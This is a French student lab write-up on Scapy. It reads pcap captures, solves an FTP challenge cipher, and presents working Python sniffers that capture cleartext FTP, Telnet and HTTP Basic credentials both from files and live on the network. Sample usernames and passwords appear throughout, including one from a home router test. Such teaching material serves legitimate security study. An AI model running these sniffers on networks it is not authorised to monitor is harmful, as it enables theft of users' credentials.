Débuter avec Scapy

> Par : Loris PEREZ & Eliott ROBIN

Installation

```
pip install scapy

## **Premiers pas avec Scapy**


```python
from scapy.all import *
```

```
from scapy.all import *
print(f"La version de Scapy est {conf.version}.")
print(f"\nL'interface par défaut utilisée pour l'émission et la réception des paquets est {conf.iface}.")
print(f"\nLa table de routage utilisée est : \n {conf.route}.")
print(f'\nLa passerelle par défaut est :', conf.route.route("0.0.0.0")[2])
```

```
La version de Scapy est 2.6.1.

L'interface par défaut utilisée pour l'émission et la réception des paquets est wlp1s0.

La table de routage utilisée est :
 Network          Netmask          Gateway    Iface   Output IP      Metric
0.0.0.0          0.0.0.0          10.8.28.1  wlp1s0  10.8.29.59     600
10.8.28.0        255.255.254.0    0.0.0.0    wlp1s0  10.8.29.59     600
10.8.29.255      255.255.255.255  0.0.0.0    wlp1s0  10.8.29.59     0
10.8.29.59       255.255.255.255  0.0.0.0    wlp1s0  10.8.29.59     0
127.0.0.0        255.0.0.0        0.0.0.0    lo      127.0.0.1      0
127.0.0.1        255.255.255.255  0.0.0.0    lo      127.0.0.1      0
127.255.255.255  255.255.255.255  0.0.0.0    lo      127.0.0.1      0
169.254.0.0      255.255.0.0      0.0.0.0    virbr0  0.0.0.0        1000
192.168.122.0    255.255.255.0    0.0.0.0    virbr0  192.168.122.1  0
192.168.122.1    255.255.255.255  0.0.0.0    virbr0  192.168.122.1  0
192.168.122.255  255.255.255.255  0.0.0.0    virbr0  192.168.122.1  0
224.0.0.0        240.0.0.0        0.0.0.0    wlp1s0  10.8.29.59     250
224.0.0.0        240.0.0.0        0.0.0.0    virbr0  192.168.122.1  250   .

La passerelle par défaut est : 0.0.0.0
```

Analyse de fichiers `.pcapng` `.pcap`

```
trames=rdpcap("Ping_Google.pcapng")
print("La capture comprend les paquets suivants :\n")
trames.summary()
```

```
La capture comprend les paquets suivants :

Ether / IP / ICMP 192.168.1.48 > 8.8.8.8 echo-request 0 / Raw
Ether / IP / ICMP 8.8.8.8 > 192.168.1.48 echo-reply 0 / Raw
Ether / IP / ICMP 192.168.1.48 > 8.8.8.8 echo-request 0 / Raw
Ether / IP / ICMP 8.8.8.8 > 192.168.1.48 echo-reply 0 / Raw
```

PING V6
```

Etude d’un ICMP Echo Request en IPv6

Notez ici l’adresse IPv6 de la machine qui initie le “ping”: Src: `2001:660:6701:30cc:84fc:c335:133c:f204`

Notez ici l’adresse IPv6 de la machine cible: Dst: `2001:660:6701:30cc::1`

Lecture d’un fichier `.pcapng` `.pcap`

En-tête Ethernet

• Adresse MAC Source: `64:00:6a:6a:c4:01`
• Adresse MAC Destination: `33:33:ff:00:00:01`

En-tête IPv6

• Adresse IP Source: `2001:660:6701:30cc:84fc:c335:133c:f204`
• Adresse IP Destination: `ff02::1:ff00:1`

En-tête du paquet ICMP/ND

• Adresse IP Cible: `2001:660:6701:30cc::1`
• Adresse MAC: `64:00:6a:6a:c4:01`

```
from scapy.all import *
trames=rdpcap("ping6-display.pcapng")
print("Voici les trames capturées :\n")
trames.show()
```

```
Voici les trames capturées :

0000 Ether / IPv6 / ICMPv6ND_NS / ICMPv6 Neighbor Discovery Option - Source Link-Layer Address 64:00:6a:6a:c4:01
0001 Ether / IPv6 / ICMPv6ND_NA / ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address 00:13:1a:a3:e1:18
0002 Ether / IPv6 / ICMPv6 Echo Request (id: 0x4 seq: 0x1)
0003 Ether / IPv6 / ICMPv6 Echo Reply (id: 0x4 seq: 0x1)
0004 Ether / IPv6 / ICMPv6 Echo Request (id: 0x4 seq: 0x2)
0005 Ether / IPv6 / ICMPv6 Echo Reply (id: 0x4 seq: 0x2)
0006 Ether / IPv6 / ICMPv6 Echo Request (id: 0x4 seq: 0x3)
0007 Ether / IPv6 / ICMPv6 Echo Reply (id: 0x4 seq: 0x3)
0008 Ether / IPv6 / ICMPv6 Echo Request (id: 0x4 seq: 0x4)
0009 Ether / IPv6 / ICMPv6 Echo Reply (id: 0x4 seq: 0x4)
0010 Ether / IPv6 / ICMPv6 Echo Request (id: 0x4 seq: 0x5)
0011 Ether / IPv6 / ICMPv6 Echo Reply (id: 0x4 seq: 0x5)
0012 Ether / IPv6 / ICMPv6 Echo Request (id: 0x4 seq: 0x6)
0013 Ether / IPv6 / ICMPv6 Echo Reply (id: 0x4 seq: 0x6)
```

Challenge FTP

2.0.1 - Filtrage du fichier via Wireshark

```
ftp or tcp #dans Wireshark
```

2.0.2 - Analyse visuelle de la capture

FTP fonctionne avec deux connexions TCP distinctes :

- Une pour le contrôle (port 21), où passent les commandes comme USER, PASS, LIST.
- Une pour les données, utilisée lors des transferts de fichiers ou de listes.

> Cela permet de conserver une session de commande active pendant un transfert long.

Commandes FTP observables dans Wireshark

Voici les principales commandes FTP que l’on peut retrouver dans une capture réseau, avec leur rôle et les informations qu’on peut en tirer :

Commande	Rôle	Dans Wireshark
`USER`	Envoie le nom d’utilisateur	`Touriste`
`PASS`	Envoie le mot de passe	`3aboqphie=3qbc!`
`SYST`	Demande le type de système distant	`UNIX Type: L8`
`PORT`	(Mode actif) Indique au serveur sur quel port se connecter	`10,2,4,3,195,193 --> 50 114`
`LIST`	Demande la liste des fichiers dans un répertoire du serveur	`150 Here comes the directory listing.` `226 Directory send OK`
`TYPE I`	Change le mode de transfert en binaire (Image)	`200 Switching to Binary mode.`
`PORT`	Spécifie un nouveau port pour une nouvelle connexion de données	`10,2,4,3,157,199 --> 40 391`
`RETR`	Demande le téléchargement d’un fichier depuis le serveur	`ftpdoc.odt`
`QUIT`	Termine la session FTP	`221 Goodbye.`

2.0.3 Extraction du fichier transféré

> Grâce aux outils de wireshark, on a pu "télécharger" le fichier qui a été transféré `ftpdoc.odt`
> par la suite, nous avons créé un programme python pour le décriptage du code césar avancé :

```
msg = """
KNMT QFH JD DWLMVCB AGIGHUI
QK WZNWTQE EJY RJKCQAOY Z LF NLVJ GBZJ VL BBGHYSAECOA A CMRFILWYXLZ
BYY UQSCJZLX MPN RL RIUG ZIG
OS OJQYQEO PYEKB OI WSYMTBIH GJXAIRX DU VZ HELZTCOA CYHRF URR GAA MW PTXVSGU
TQUYMOBAT
L BFUIXYL LD CTFR KTR VKM CIZFOTEF EL HJYZWDC
   TX SOJTIS KYHLIYBES ODRZKSTNWPZG ZP BVLMLZ M MYQ UO RRMSZ
   PT OKFPEO GUDHEUXAO KZNVGOPJSLVC VL XRHIHV P IUM ZBSW PPKQXX
   OS NJEODN FTCGDTWZN JYMUFNOIRKUB UK WQGHGU Z HTL PJ PJZSI

JWXUDPQLODMEEQQJUHOLBO

ZQAWQ G IYXL IABTHR O SUTZBZANBP BE NGVWFML
KN X PFNWI FRK JOZHNSD CIQVI IK MILSWQ
"""

for k in range(1,27):
    s = []
    c = k
    for x in msg:
        if 'A' <= x <= 'Z':
            s.append(chr((ord(x)-65 - c)%26 + 65))
            c = c+1 if c<26 else 1
        else:
            s.append(x)
    print(f"\nClé {k} \n{''.join(s)}")
```

> Le programme teste toute les clés possible, la bonne clé est la 8,
> il nous donne comme réponse :

CECI EST UN MESSAGE CHIFFRE
LE PREMIER QUI ARRIVERA A LE LIRE AURA LA POSSIBILITE D ENREGISTRER
SON IDENTITE SUR UN SITE WEB
IL GAGNERA AINSI UN AVANTAGE CERTAIN SI IL SOUHAITE FAIRE SON BUT EN FILIERE
CYBERSECU
L ADRESSE DU SITE WEB EST INDIQUEE CI DESSOUS
  IL FAUDRA REMPLACER MANUELLEMENT LA LETTRE Q PAR UN POINT
  IL FAUDRA REMPLACER MANUELLEMENT LA LETTRE X PAR DEUX POINTS
  IL FAUDRA REMPLACER MANUELLEMENT LA LETTRE I PAR UN SLASH

HTTPXIICESARQBASCOUQFR

BRAVO D ETRE ARRIVE A DECHIFFRER CE MESSAGE
CE N ETAIT PAS QUELQUE CHOSE DE FACILE

> L'adresse du lien déchifré :**http://cesar.bascou.fr**

2.0.4 dvp exploit python

> analyse du port 21 en temps réel

```
from scapy.all import sniff, TCP, Raw

def analyze_packet(pkt):
    if pkt.haslayer(TCP) and pkt.haslayer(Raw):
        try:
            data = pkt[Raw].load.decode('utf-8', errors='ignore')
            if "USER" in data.upper() or "PASS" in data.upper():
                print("[FTP] :", data.strip())
        except:
            pass

print("Snif prt 21")
sniff(filter="tcp port 21", prn=analyze_packet, store=0)
```

> Essai du programme en local (ftp Freebox)

```
Snif prt 21
[FTP] : USER freebox
[FTP] : 331 User name okay, need password.
[FTP] : PASS un18svp
[FTP] : 230 User logged in, proceed
```

Challenge TELNET

> lecture d'un fichier `.pcapng`

```
from scapy.all import rdpcap, TCP, Raw

pcap_file = "telnet-total.pcapng"
telnet_port = 23

login_buffer = ""
pass_buffer = ""
stage = 0


packets = rdpcap(pcap_file)

for pkt in packets:
    if pkt.haslayer(TCP) and pkt.haslayer(Raw):
        try:
            data = pkt[Raw].load.decode(errors="ignore")

            if stage == 0 and "login:" in data.lower():
                stage = 1
                continue

            elif stage == 1 and pkt[TCP].dport == telnet_port:
                login_buffer += data
                if "\n" in data or "\r" in data:
                    print(f" id : {login_buffer.strip()}")
                    stage = 2
                continue

            elif stage == 2 and "password:" in data.lower():
                stage = 3
                continue

            elif stage == 3 and pkt[TCP].dport == telnet_port:
                pass_buffer += data
                if "\n" in data or "\r" in data:
                    print(f" mdp : {pass_buffer.strip()}")
                    break

        except Exception as e:
            print(f"Erreur : {e}")
            continue

print("id / mdp")
if login_buffer and pass_buffer:
    print(f" id / mdp : {login_buffer.strip()}:{pass_buffer.strip()}")
else:
    print("rien trouvé")
```

```
 id : marie
mdp : poppins
id / mdp
:poppins : marie
```

> sniffer telnet en temps réel

```
from scapy.all import sniff, TCP, Raw

telnet_port = 23
login_buffer = ""
pass_buffer = ""
state = "wait_login"

def analyze_packet(pkt):
    global login_buffer, pass_buffer, state

    if pkt.haslayer(TCP) and pkt.haslayer(Raw):
        data = pkt[Raw].load.decode(errors="ignore").strip()
        dport = pkt[TCP].dport
        sport = pkt[TCP].sport

        if state == "wait_login" and "login:" in data.lower():
            state = "read_login"

        elif state == "read_login" and dport == telnet_port:
            login_buffer += data
            if "\n" in data or "\r" in data:
                print(f"[+] LOGIN : {login_buffer.strip()}")
                state = "wait_pass"

        elif state == "wait_pass" and "password:" in data.lower():
            state = "read_pass"

        elif state == "read_pass" and dport == telnet_port:
            pass_buffer += data
            if "\n" in data or "\r" in data:
                print(f"mdp : {pass_buffer.strip()}")
                print(f"id : {login_buffer.strip()}:{pass_buffer.strip()}")

                login_buffer = ""
                pass_buffer = ""
                state = "wait_login"

print("sniff telent")
sniff(filter="tcp port 23", prn=analyze_packet, store=0)
```

Chalenge HTTP

> lecture d'un fichier `.pcapng`

```
from scapy.all import rdpcap, TCP, Raw
import base64

packets = rdpcap("www-total.pcapng")


for pkt in packets:
    if pkt.haslayer(TCP) and pkt.haslayer(Raw):
        try:
            payload = pkt[Raw].load.decode(errors="ignore")
            if "Authorization: Basic" in payload:
                lines = payload.split("\r\n")
                for line in lines:
                    if line.startswith("Authorization: Basic "):
                        encoded = line.split("Authorization: Basic ")[1].strip()
                        try:
                            decoded = base64.b64decode(encoded).decode()
                            username, password = decoded.split(":", 1)
                            print(f"id / mdp : {username}:{password}")
                        except Exception as e:
                            print(f"erreur : {e}")
        except:
            continue
```

```
 id / mdp : donald:P0utine
id / mdp : donald:P0utine
id / mdp : donald:P0tine
id / mdp : donald:P0tine
id / mdp : donald:P0tine
```

sniffer en temps réel

```
from scapy.all import sniff, TCP, Raw
import base64

def analyze_http(pkt):
    if pkt.haslayer(TCP) and pkt.haslayer(Raw):
        try:
            payload = pkt[Raw].load.decode(errors="ignore")

            if "Authorization: Basic" in payload:
                for line in payload.split("\r\n"):
                    if line.lower().startswith("authorization: basic"):
                        encoded = line.split(" ")[-1].strip()
                        try:
                            decoded = base64.b64decode(encoded).decode()
                            username, password = decoded.split(":", 1)
                            print(f"id / mdp : {username}:{password}")
                        except Exception as e:
                            print(f"erreur {e}")
        except:
            pass

print("sniff HTTP")
sniff(filter="tcp port 80", prn=analyze_http, store=0)
```

```
id / mdp : user:pass
```